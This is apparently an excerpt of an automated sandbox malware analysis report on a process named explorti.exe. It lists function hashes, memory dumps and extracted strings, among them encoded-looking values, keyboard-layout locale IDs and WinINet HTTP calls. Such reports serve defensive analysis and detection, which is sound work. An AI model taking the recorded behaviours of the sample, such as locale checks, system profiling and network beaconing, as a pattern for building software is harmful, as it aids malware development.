Opcode Fuzzy Hash: ca4e0f4005ba45a6488412871e1958f2b72f789d55c6bacc83d710a9d4911cbb
Instruction Fuzzy Hash: 57117FEB17D120BE704AC5812B5C9F66E7FE9D7630331842BF603D9582E2D41E8D2831

Function 05240221 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2049338973.0000000005240000.00000040.00001000.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5240000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bc89735c4c52ccfca47303c0e8340a2e06d670340b9977bf1c0445cf0bdfeb6
Instruction ID: d5467d8733edb2ca564d3dfe270c46b22a9f7928853b2f5d7d1456b4896fe0d3
Opcode Fuzzy Hash: 5bc89735c4c52ccfca47303c0e8340a2e06d670340b9977bf1c0445cf0bdfeb6
Instruction Fuzzy Hash: 5C115EEB1AD120BE704AC5826B589FA6E7FE9D7630331846BF503D9542E2D80E8D6831

Function 05240253 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2049338973.0000000005240000.00000040.00001000.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5240000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 647fd20cef6fbe2f7b82448f81f60ddb7cd3f0a44cc53564cccd6cd42091abe6
Instruction ID: d4bb9c4edbeaa86663e785148b1cffab5d3e3256156b2d6fbbfadd8ce0ead2a6
Opcode Fuzzy Hash: 647fd20cef6fbe2f7b82448f81f60ddb7cd3f0a44cc53564cccd6cd42091abe6
Instruction Fuzzy Hash: 20118BEB16D1207E714AC1812B589FA6FAEE9C2630331846AF902D9443E2D90A8E2532

Function 0524029B Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2049338973.0000000005240000.00000040.00001000.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5240000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0751977b2db8d8bbf70cd6e9f97e9a1e42a86d274aa1af8d1b5941870eab6471
Instruction ID: 31007ff4591744d324b2ee25154e5b4d3846d269a3d845f0723b619dfdcdfc79
Opcode Fuzzy Hash: 0751977b2db8d8bbf70cd6e9f97e9a1e42a86d274aa1af8d1b5941870eab6471
Instruction Fuzzy Hash: 1D012CEB1AD010BE714AC5816B68AF66E6EE9C27307718427F507D8802E2D50A9D6932

Function 052402C1 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2049338973.0000000005240000.00000040.00001000.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5240000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 103f9fd6b5e283b359c5bbff0f890ab7d930433179c6e29b78f8f38c3d59e62f
Instruction ID: 3b7f5167727a1b7614da9ceb64c9230a9a1381aab56ccbf9910fd5e93506bf7a
Opcode Fuzzy Hash: 103f9fd6b5e283b359c5bbff0f890ab7d930433179c6e29b78f8f38c3d59e62f
Instruction Fuzzy Hash: BF0184EB16C0147EB149C1927B68AF75B6EE5D6B307318527F903D9502E2C90E8D5432

Function 052402AF Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2049338973.0000000005240000.00000040.00001000.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5240000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 016971d88546c22db31340e525ec3553284bf24a6799d472250f74299150fddd
Instruction ID: 39277a0acf4a7c78d22ce68d0e746cc3e383d016fc1db611e025346ebb84696c
Opcode Fuzzy Hash: 016971d88546c22db31340e525ec3553284bf24a6799d472250f74299150fddd
Instruction Fuzzy Hash: B2F01DEB16D0207E714AD1817B589FA6E6EE9D67347318427F543D8902E2D80A8D2932

Function 052402ED Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2049338973.0000000005240000.00000040.00001000.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5240000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b01aa8b9921ee47ae9511e81b6815dea419507d1280458b5ad6e00bb8ec802be
Instruction ID: a50b7eddae6a140daa8a2ad8f58e0128bd49ef794026781ea83077b200905103
Opcode Fuzzy Hash: b01aa8b9921ee47ae9511e81b6815dea419507d1280458b5ad6e00bb8ec802be
Instruction Fuzzy Hash: 67F0B7EB1690207E714AD1827B68AF79B6EE5D6B34331C42BF503D4506A2C90A8E2432

Function 052402FB Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2049338973.0000000005240000.00000040.00001000.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5240000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70e97892d9006de46432a86b668853a51103ef15cf7575cbdeed904a2fa5ea72
Instruction ID: 4c725f83be9cd633f0e70d906e81f07992e052f5c779bc6a883bca4ae8604cbc
Opcode Fuzzy Hash: 70e97892d9006de46432a86b668853a51103ef15cf7575cbdeed904a2fa5ea72
Instruction Fuzzy Hash: BDF0DAEB2680247D7146D5823B58AFBAB6EE4C6730330C437F502D4402D2C50B5D6532

Non-executed Functions

Function 05240651 Relevance: .2, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2049338973.0000000005240000.00000040.00001000.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5240000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6393d46d4f2d0196c72edb595c80788063b5e74f2ed47abd9930d33c50929c15
Instruction ID: 31c04a8ed5eb2890a3c2709ff1852252ff20ada6d960e9fadc7800c62a72ea2b
Opcode Fuzzy Hash: 6393d46d4f2d0196c72edb595c80788063b5e74f2ed47abd9930d33c50929c15
Instruction Fuzzy Hash: D9413CEB16C1107DB10AC5822B5CEFB6B6FE9C6B70730843AF907D9542E2D44E8E5872

Analysis Process: explorti.exePID: 5240, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	9.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	8.4%
Total number of Nodes:	1923
Total number of Limit Nodes:	36

Executed Functions

Function 008CE440 Relevance: 14.8, Strings: 11, Instructions: 1000
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

111, xrefs: 008CF6B0
0657d1, xrefs: 008CFA9E
UVu=, xrefs: 008D04DA
KS==, xrefs: 008CE4A5
UVy=, xrefs: 008D088D
UFy=, xrefs: 008CF62D, 008CF90A
SC==, xrefs: 008CEA1F, 008CEC66
246122658369, xrefs: 008CF647, 008CF924, 008D04F7, 008D08AA
EpPoaRV1, xrefs: 008CE47F
#, xrefs: 008D0534
KIG+, xrefs: 008CE734

Memory Dump Source

Source File: 00000006.00000002.3244825650.00000000008C1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000006.00000002.3244784034.00000000008C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3244825650.0000000000922000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3244955733.0000000000929000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.000000000092B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000AAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000B96000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BC3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245659212.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245899870.0000000000D7F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245939892.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8c0000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID: #$0657d1$111$246122658369$EpPoaRV1$KIG+$KS==$SC==$UFy=$UVu=$UVy=
API String ID: 0-3836280467
Opcode ID: dae35ae01f5fa58f3ff27e5185ee9901d34241e6c8276afbb3cd3a25954bc48f
Instruction ID: fc3e355843d62eceb5660de6f64659c117ac1d7451a34f6b283970c630b967e6
Opcode Fuzzy Hash: dae35ae01f5fa58f3ff27e5185ee9901d34241e6c8276afbb3cd3a25954bc48f
Instruction Fuzzy Hash: 0682D27090428C9BEF14EF68C949BDD7FB6FB41304F508299E805A73C2D7759A88CB92

Function 008DD312 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 008C247E

Memory Dump Source

Source File: 00000006.00000002.3244825650.00000000008C1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000006.00000002.3244784034.00000000008C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3244825650.0000000000922000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3244955733.0000000000929000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.000000000092B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000AAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000B96000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BC3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245659212.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245899870.0000000000D7F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245939892.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8c0000_explorti.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: 0331c74eb488e36e962642f758d02ad5b504320ddf896f0fb44091bde5302acc
Instruction ID: 706161ec4b02a15796129b94676506a63004845f9eab6d59700902a2d56147cf
Opcode Fuzzy Hash: 0331c74eb488e36e962642f758d02ad5b504320ddf896f0fb44091bde5302acc
Instruction Fuzzy Hash: C851ACB1A147099FDB29CF69D8857AEB7F5FB48320F24862AD405EB394D7309941CF90

Function 008D3550 Relevance: 51.5, APIs: 1, Strings: 28, Instructions: 761
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Xinvalid_argument.LIBCPMT ref: 008D425F

Part of subcall function 008D7870: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 008D795C
Part of subcall function 008D7870: __Cnd_destroy_in_situ.LIBCPMT ref: 008D7968
Part of subcall function 008D7870: __Mtx_destroy_in_situ.LIBCPMT ref: 008D7971

Strings

invalid stoi argument, xrefs: 008D2DE9, 008D2DF8, 008D425A, 008D4E9D
6YK0, xrefs: 008D5502
7470, xrefs: 008D531D
UZbf, xrefs: 008D3AEE
8lU=, xrefs: 008D6383
9pG0, xrefs: 008D54DB
Dy==, xrefs: 008D369E, 008D4D2D
5120, xrefs: 008D3ABF, 008D3BAA
KIG+, xrefs: 008D4776, 008D47ED, 008D4A95, 008D4B0C
UIU0, xrefs: 008D53A3
85K3cq==, xrefs: 008D4712
TZS0, xrefs: 008D537A
KIK+, xrefs: 008D47BD, 008D48EC, 008D4ADC, 008D4C0B
246122658369, xrefs: 008D1EA5, 008D27EE, 008D2A43, 008D2AB0, 008D2E88, 008D3373, 008D33D4, 008D4F3A, 008D4F4D, 008D4F8F, 008D4F99, 008D54F4
9YY0, xrefs: 008D53CC
stoi argument out of range, xrefs: 008D2E02, 008D4269, 008D4EAC
IEYUMK==, xrefs: 008D54B9
", xrefs: 008D3E99
T4Ve, xrefs: 008D3DC0
84K0, xrefs: 008D5497
75G0, xrefs: 008D5470
FAml, xrefs: 008D378F
0657d1, xrefs: 008D5489
UIrm, xrefs: 008D3BD9
Toe0, xrefs: 008D5447
7JS0, xrefs: 008D5351
8IG0, xrefs: 008D53F5
TZC0, xrefs: 008D541E

Memory Dump Source

Source File: 00000006.00000002.3244825650.00000000008C1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000006.00000002.3244784034.00000000008C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3244825650.0000000000922000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3244955733.0000000000929000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.000000000092B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000AAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000B96000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BC3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245659212.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245899870.0000000000D7F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245939892.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8c0000_explorti.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situXinvalid_argumentstd::_
String ID: "$0657d1$246122658369$5120$6YK0$7470$75G0$7JS0$84K0$85K3cq==$8IG0$8lU=$9YY0$9pG0$Dy==$FAml$IEYUMK==$KIG+$KIK+$T4Ve$TZC0$TZS0$Toe0$UIU0$UIrm$UZbf$invalid stoi argument$stoi argument out of range
API String ID: 4234742559-4111701409
Opcode ID: 1711db2dff706103241e000d269cc450b87217e8cf6099b8ff4ccba760ba95b4
Instruction ID: 199cfb9ae108c684e5df12a8c8245c29846b8a21fd206f5cc3605fc8ac821142
Opcode Fuzzy Hash: 1711db2dff706103241e000d269cc450b87217e8cf6099b8ff4ccba760ba95b4
Instruction Fuzzy Hash: D452E271A002489BDF18EF6CCC4AB9DBB75FB45314F50429EE445E7382E7359A848BA3

Function 008D46C0 Relevance: 37.0, APIs: 1, Strings: 22, Instructions: 2484COMMON

Download Yara Rule

APIs

Part of subcall function 008D7870: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 008D795C
Part of subcall function 008D7870: __Cnd_destroy_in_situ.LIBCPMT ref: 008D7968
Part of subcall function 008D7870: __Mtx_destroy_in_situ.LIBCPMT ref: 008D7971

Part of subcall function 008CBD60: InternetOpenW.WININET(00918D68,00000000,00000000,00000000,00000000), ref: 008CBDEC
Part of subcall function 008CBD60: InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 008CBE11
Part of subcall function 008CBD60: HttpOpenRequestA.WININET(?,00000000), ref: 008CBE5A

std::_Xinvalid_argument.LIBCPMT ref: 008D4EA2

Strings

6YK0, xrefs: 008D5502
7470, xrefs: 008D531D
stoi argument out of range, xrefs: 008D4269, 008D4EAC
g, xrefs: 008D6B1D
8lU=, xrefs: 008D6383, 008D6652
IEYUMK==, xrefs: 008D54B9
9pG0, xrefs: 008D54DB
Dy==, xrefs: 008D369E, 008D4D2D
84K0, xrefs: 008D5497
75G0, xrefs: 008D5470
KIG+, xrefs: 008D4776, 008D47ED, 008D4A95, 008D4B0C
0657d1, xrefs: 008D5489
Toe0, xrefs: 008D5447
7JS0, xrefs: 008D5351
8IG0, xrefs: 008D53F5
UIU0, xrefs: 008D53A3
85K3cq==, xrefs: 008D4712
TZC0, xrefs: 008D541E
TZS0, xrefs: 008D537A
KIK+, xrefs: 008D47BD, 008D48EC, 008D4ADC, 008D4C0B
246122658369, xrefs: 008D4F3A, 008D4F4D, 008D4F8F, 008D4F99, 008D54F4
9YY0, xrefs: 008D53CC

Memory Dump Source

Source File: 00000006.00000002.3244825650.00000000008C1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000006.00000002.3244784034.00000000008C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3244825650.0000000000922000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3244955733.0000000000929000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.000000000092B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000AAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000B96000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BC3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245659212.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245899870.0000000000D7F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245939892.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8c0000_explorti.jbxd

Yara matches

Similarity

API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestXinvalid_argumentstd::_
String ID: g$0657d1$246122658369$6YK0$7470$75G0$7JS0$84K0$85K3cq==$8IG0$8lU=$9YY0$9pG0$Dy==$IEYUMK==$KIG+$KIK+$TZC0$TZS0$Toe0$UIU0$stoi argument out of range
API String ID: 2414744145-3203955928
Opcode ID: c2e63b9ad034bd1fc5d1dffb5029fe00b2eb0893716325d2b88604900a75edaf
Instruction ID: 8be15e431345ca3350c19d1744483a8ab786ddcdfe6993ce75c3abb385d36141
Opcode Fuzzy Hash: c2e63b9ad034bd1fc5d1dffb5029fe00b2eb0893716325d2b88604900a75edaf
Instruction Fuzzy Hash: 80231471A002589BEB19DB28CD8579DBB76EB81304F5082DDE048E73D6EB359F848F52

Function 008C5DF0 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 364
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Keyboard Layout\Preload, xrefs: 008C5F64
00000419, xrefs: 008C5FA8
00000423, xrefs: 008C600A
00000422, xrefs: 008C5FD9
0000043f, xrefs: 008C603B

Memory Dump Source

Source File: 00000006.00000002.3244825650.00000000008C1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000006.00000002.3244784034.00000000008C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3244825650.0000000000922000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3244955733.0000000000929000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.000000000092B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000AAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000B96000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BC3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245659212.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245899870.0000000000D7F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245939892.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8c0000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 30e78704f80237e0dfe98dfbaea6dd12550a3e7e808457bc69a529510ecc1873
Instruction ID: abf28fcd21ff6bfb76bd129c1205a394214297df4414f17bd91489baaf985c6d
Opcode Fuzzy Hash: 30e78704f80237e0dfe98dfbaea6dd12550a3e7e808457bc69a529510ecc1873
Instruction Fuzzy Hash: 77E15D71900218ABEB24DBA4CC89BDEB779FF04304F5042E9E509E7291EB74ABD58F51

Function 008C7D00 Relevance: 10.9, APIs: 1, Strings: 5, Instructions: 392
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?), ref: 008C7EA3

Strings

HlusMa==, xrefs: 008C810A
pg, xrefs: 008C7D8D
Hg, xrefs: 008C7DBA
HlurNa==, xrefs: 008C81B2
HlurOK==, xrefs: 008C8062

Memory Dump Source

Source File: 00000006.00000002.3244825650.00000000008C1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000006.00000002.3244784034.00000000008C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3244825650.0000000000922000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3244955733.0000000000929000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.000000000092B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000AAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000B96000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BC3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245659212.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245899870.0000000000D7F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245939892.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8c0000_explorti.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: HlurNa==$HlurOK==$HlusMa==$Hg$pg
API String ID: 1721193555-1445060666
Opcode ID: 1703c916f7e820bae778995d71e5de685aea595042c421c2cb0f646760920631
Instruction ID: 9bbb4fee3d1f3e528bc1efd39dfc335514e6247242af2f1816d7d6f939a47976
Opcode Fuzzy Hash: 1703c916f7e820bae778995d71e5de685aea595042c421c2cb0f646760920631
Instruction Fuzzy Hash: 43D1E471E04618ABDF24AB28DD4AB9D7B71FB41324F90429CE415E73C2DB359E808B92

Function 008C82B0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?), ref: 008C8454

Strings

pg, xrefs: 008C8342
Hg, xrefs: 008C836F

Memory Dump Source

Source File: 00000006.00000002.3244825650.00000000008C1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000006.00000002.3244784034.00000000008C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3244825650.0000000000922000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3244955733.0000000000929000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.000000000092B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000AAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000B96000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BC3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245659212.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245899870.0000000000D7F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245939892.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8c0000_explorti.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: Hg$pg
API String ID: 1721193555-4069968457
Opcode ID: 4cad86a4e70d08675ad356ba63bc40e6649e4e3b3710bfa93a44c9fec5bbad8a
Instruction ID: d430823282fd958fcf309fbf7579c0b4fb2d8182a429ca022dd57b1ea9660a8e
Opcode Fuzzy Hash: 4cad86a4e70d08675ad356ba63bc40e6649e4e3b3710bfa93a44c9fec5bbad8a
Instruction Fuzzy Hash: E051E470944258DBEB28AB38DD45BEDB775FB45314F5042ADE804E7381EB349A80CBA5

Function 008F6E01 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNELBASE(?,?,00000000,00000000), ref: 008F6E23
GetFileInformationByHandle.KERNELBASE(?,?), ref: 008F6E7D
__dosmaperr.LIBCMT ref: 008F6F12

Part of subcall function 008F7177: __dosmaperr.LIBCMT ref: 008F71AC

Memory Dump Source

Source File: 00000006.00000002.3244825650.00000000008C1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000006.00000002.3244784034.00000000008C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3244825650.0000000000922000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3244955733.0000000000929000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.000000000092B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000AAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000B96000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BC3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245001773.0000000000BDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245659212.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245899870.0000000000D7F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3245939892.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8c0000_explorti.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID:
API String ID: 2531987475-0
Opcode ID: 8e8d0da07d6ee319c8936c0e1f07cebb468d9fc8fd55e83ce1bc384cb1e48ca7
Instruction ID: 75096aa30546c509272dd9c5d6a4d2e0ac2810989975903967f68e5381163b21
Opcode Fuzzy Hash: 8e8d0da07d6ee319c8936c0e1f07cebb468d9fc8fd55e83ce1bc384cb1e48ca7
Instruction Fuzzy Hash: 68413C75900608ABDB24EFB5EC419BFBBF9FF89304B10452DFA56D3610EA31A914CB61

Function 008F6C99 Relevance: 3.1, APIs: 2, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.3244825650.00000000008C1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000006.00000002.3244784034.00000000008C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3244825650.0000000000922000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3244955733.0000000000929000.00000004.00000001.01000000.00000008.sdmpDownload File
